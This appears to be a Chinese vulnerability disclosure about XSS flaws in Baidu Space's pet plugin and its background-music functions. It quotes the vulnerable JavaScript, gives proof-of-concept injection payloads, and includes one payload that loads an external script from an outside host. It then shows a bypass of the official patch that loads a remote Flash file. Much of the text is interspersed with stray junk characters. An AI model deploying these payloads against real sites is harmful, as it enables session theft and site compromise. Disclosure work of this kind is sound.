百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
) H; E7 m+ I; @2 Z& ^' F S7 N
( U4 w% ~3 A" H. j/ W% {2 i1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. 5 e) m& d9 U" b$ J4 v# H! }
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
+ n2 [/ u) {( N- ~2 ~2 C6 ^
5 k. B$ n w+ Q' o将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> : x* O; f( n( a; _
其中BdUtil.insertWBR为 2 M5 b+ a8 [8 |1 }4 J& v
function(text, step) {
" Y; c& y% w# e$ `4 v' s# | var textarea = textAreaCache || getContainer();
9 a2 z) n m2 j% x4 N5 l* m9 s if (!textarea) {
1 s; W W' N$ m/ I9 I# M+ T3 | return text; # g" z1 p; p8 {. K
} 8 d; {2 K8 J2 L6 W7 }
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
5 Z) Q2 K& x' r2 y2 Y/ a var string = textarea.value; 5 _& V& ~& N5 T) v$ y
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
6 \3 k9 m: v& G9 c/ Q9 I# y var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
5 ^* o: x `' v return result;
# k- [) a! [' G5 y. J; ?8 K4 t7 H}
" j1 r0 r N: r( l) N3 ?7 `在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
' T; S8 e6 p' T) L4 C* B) j9 O, x测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
6 o1 ~$ C( j8 d
1 m, P7 K( A. \4 _0 u1 R二:creatbgmusic() Dom-Xss Bug
" p; J, R4 `6 ~# R2 y- V百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 - c6 A3 U" L) B
& ~, ]) c- l4 t在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: % W* C* L+ Y" w7 T
- w" m0 G5 J. Z, q9 v
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
6 p; T, {9 B2 ?* S //传入的murl赋值到bgmusic1和bgmusic2中 ) @1 I* k v; F# l& u2 f
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 - p$ R+ R& l" E( ^
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; 3 e% \7 W+ L4 J# \ ~+ V
if (musicnum <= 1) {
" X; i' J$ B. v: P9 L( _ bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; * k/ Q' M2 \8 P& U4 z' B( ?9 ^$ a
}
$ Q) E: C0 Q8 {4 l7 d bgmusic1 += "</OBJECT>"; % y9 F- Z* N. v4 `8 g: j: w
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; " n' U# X+ ]* {" K4 Z- G
if (musicnum <= 1) {
+ z% t& s# p6 |. u, | bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
/ v! D% W+ v1 A. {# u1 a* ~9 B3 m }
. o$ Y! i% h, o9 r bgmusic2 += "> </EMBED>";
( y) k8 w7 G! \2 `# p# ~0 l2 ] var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; . K! v* [5 P1 E. R* i
var bgmus = detectWMP();
& {6 m s1 t' X) z* ]7 X) ?% H8 b if (functype == "FckMusicHelper") { 2 B6 z' q0 x5 E) a% M
if (bgmus.installed) {
4 h, g$ B/ T( }7 z, [3 u# y if (bgmus.type == "IE") {
) G0 C* l8 u7 X/ o6 d" y5 x% r) a: ^ return bgmusic1; * X' L `6 }4 q: d
} else if (bgmus.type == "NS") { M& J* f; m/ {5 b# `, c
return bgmusic2; 9 @- q0 L+ N7 p. G
}
' ]; J. m7 E5 j } else { 9 K& @) a8 h$ l; [
return bgmusic3;
4 m6 G( Z) ?+ w } + J8 o! s1 v) A0 J- i
} else {
. Q' B7 q4 o5 }! o0 p if (bgmus.installed) { 8 k' A8 T' D5 x& K7 r' j6 F5 _4 `
//document.write 直接输出bgmusic变量 导致xss
& N( j2 C( N, B/ i: ^+ N& R9 | if (bgmus.type == "IE") { , R+ e' h. e* ?3 l
document.write(bgmusic1);
. P( T A- m* f, } r1 r+ m) D- o4 `; P- t } else if (bgmus.type == "NS") { 4 q& F+ h4 z: c8 C$ C
document.write(bgmusic2); * y8 ]& i& ?' {0 l: L# Q
} # t* J: E9 z! J7 ^
} else {
8 @% |/ ^4 e* r* g* [* i document.write(bgmusic3);
6 z. I% @; h* P8 Y0 O }
! ]& F" b ~1 K0 M- [2 h7 s return "";
- J5 v+ J, [# z1 T }
: M. [* K& V3 `# K( O# q} & B5 O7 ]! T5 Q( U, [
2 ]8 T' {& Z( ~
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: ' |& M* S3 ?- M
# |1 h/ s/ r$ C
function initBlogTextForFCK(){
$ R$ \% }) q) `" {; i0 w//fck init music ' f9 i. E# e7 c5 X& M$ B
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} 3 y0 a. e* h+ K. m
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
, g" X! m5 k- o$ Bvar isAutoPlay=true;
% c/ V# h5 j. F1 yfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. 0 ], ? g: N3 T/ ~; E3 Q% L, [
var img=imgBox;
8 w% P5 Z6 ^, Y$ J- H, T7 o4 a if(img.getAttribute(’rel’)){ - P' J- L4 V0 j" }7 l' }) u* `
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
) }, V5 M* G/ `: U% y" I0 f var musicDiv = document.createElement("SPAN");
% k x1 S H* r7 c var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] 1 Y) T2 @, m- G
3 E1 Q+ l0 n" [& \5 q# U .......................... . E; J0 ~! Y C5 |
; ?7 Z D5 V L; o% H- O
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. . l! ~& S, E1 x1 `7 }6 Z: D6 G) w# j
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
' ~% ^9 i% x6 c, f# N3 m; c9 e* m shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); ! C2 p3 c- Z5 [
musicDiv.innerHTML=shtml; # L4 o; K9 V n
i--;n--;
5 U4 p) i9 \/ e }
1 t% K, `1 M+ j2 C( J} 8 {9 G5 U. l0 J0 b0 Q
* q! _& v! U$ ?; G( _5 V: y从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. 6 S. N5 } y! D
, {( c% k0 C6 H2 u- d' V测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> 8 {7 y; E9 M2 A% ~' J& L- l
4 {$ a& L; H7 Z) S
等待官方补丁 8 A! L9 S" g6 i4 D: d* o
! r* x. v: Y5 f; N9 Nupdate 2010年5月13日 * Y1 T- @* j, w: U- [- G I
3 R7 i( C; N! Y5 u* f* \ \3 }
官方补丁: 8 R0 s6 z, U2 s" X; q
2 R- y4 a! A5 w, F+ S$ @
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); * ]& v) N, z7 T# K. I. y7 l
改为: z* D/ |0 w) K+ f( x9 e6 ^1 o( B
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); 7 v2 z" ]6 k4 ?
) S' c- S* _6 x( Iupdate 2010年5月13日 21:50:37 # o# I9 w% N& c- U- c) B
; o/ k- m& S/ }
补丁存在漏洞 没有过滤" 可以继续跨:
1 J7 b- _9 x& B& O7 G" O$ a
5 ?( k/ k7 k b+ ]8 C9 G6 INEW POC: / m7 t3 |; P! h* A& C2 c6 u i m
1 h0 ?3 Z# @5 \6 {2 y: ?* l! W<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" % ?( H1 y. a; w5 [- H3 t- p0 a1 @8 J
+ R- c8 p) X2 a4 L" B* s; hallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
+ i& Z1 X7 f1 y( U1 T& d, s 0 L" P, |! C/ H* o5 M, S! B) I: |
|